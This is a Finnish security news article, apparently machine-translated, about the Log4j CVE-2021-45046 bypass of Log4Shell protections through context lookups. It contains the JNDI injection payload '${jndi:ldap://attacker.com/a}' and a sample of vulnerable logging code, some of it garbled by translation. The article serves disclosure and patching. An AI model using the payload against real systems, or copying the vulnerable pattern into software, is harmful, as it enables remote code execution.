Toinen haavoittuvuus on havaittu JNDI-hakujen toteutuksessa Log4j 2 -kirjastossa (CVE-2021-45046), joka näkyy julkaisussa 2.15 lisätyistä korjauksista huolimatta ja riippumatta siitä, että "log4j2.noFormatMsgLookup" -asetusta käytetään suojauksessa. Ongelma on vaarallinen lähinnä Log4j 2:n vanhemmille versioille, jotka on suojattu "noFormatMsgLookup"-lipulla, koska sen avulla voidaan ohittaa suojaus aiemmilta haavoittuvuuksilta (Log4Shell, CVE-2021-44228), jonka avulla voit suorittaa koodisi palvelin. Version 2.15 käyttäjille hyväksikäyttö rajoittuu sovelluksen kaatumiseen käytettävissä olevien resurssien loppumisen vuoksi.
Haavoittuvuus näkyy vain järjestelmissä, jotka käyttävät kirjaamiseen kontekstihakuja, kuten ${ctx:loginId}, tai MDC-malleja (Thread Context Map), kuten %X, %mdc ja %MDC. Toiminta perustuu ehtojen luomiseen JNDI-korvauksia sisältävien tietojen tulostamiseksi lokiin, kun sovelluksessa käytetään kontekstikyselyitä tai MDC-malleja, jotka määrittelevät lokin tulosteen muotoilun säännöt.
LunaSecin tutkijat huomauttivat, että Log4j:n alle 2.15 versioissa tätä haavoittuvuutta voidaan käyttää uutena vektorina Log4Shell-hyökkäykselle, joka johtaa koodin suorittamiseen, jos ulkoista dataa sisältäviä ThreadContext-lausekkeita käytetään lokitulostuksessa riippumatta siitä, onko " noMsgFormatLookups" " tai malli "%m{nolookups}".
Suojauksen ohittaminen johtuu siitä, että sen sijaan, että "${jndi:ldap://attacker.com/a}" korvattaisiin suoraan, tämä lauseke korvataan välimuuttujan arvolla, jota käytetään lokitulosteen muotoilusäännöissä. . Jos esimerkiksi kontekstikyselyä ${ctx:apiversion} käytetään tulostettaessa lokiin, hyökkäys voidaan suorittaa korvaamalla data "${jndi:ldap://attacker.com/a}" apiversiomuuttujaan kirjoitettu arvo. Esimerkki haavoittuvasta koodista: apender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP-otsikon arvo välitetään ThreadContext ThreadContext.put("apiversion" ", apiVersion ); // Kun tulostetaan lokiin, ulkoinen apiversion arvo käsitellään käyttämällä korvausta ${ctx:apiversion} logger.info("Vastaanotettu API-versiopyyntö"); palauttaa "Hei, maailma!"; }
Log4j-versiossa 2.15 haavoittuvuutta voidaan käyttää DoS-hyökkäyksiin siirrettäessä arvoja ThreadContextiin, mikä johtaa silmukaan tulosteen muotoilumallin käsittelyssä.
Haavoittuvuuden estämiseksi on julkaistu päivitykset 2.16 ja 2.12.2. Log4j 2.16 -haarassa versiossa 2.15 toteutettujen korjausten ja JNDI LDAP-pyyntöjen "localhostiin" sitomisen lisäksi JNDI-toiminnallisuus on oletuksena täysin poissa käytöstä ja viestien korvausmallien tuki on poistettu. Suojauksen kiertotapana suositellaan JndiLookup-luokan poistamista luokkapolulta (esimerkiksi "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class"). .
Voit seurata korjausten esiintymistä paketeissa jakelujen (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java-alustan valmistajien (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne.).
Lähde: opennet.ru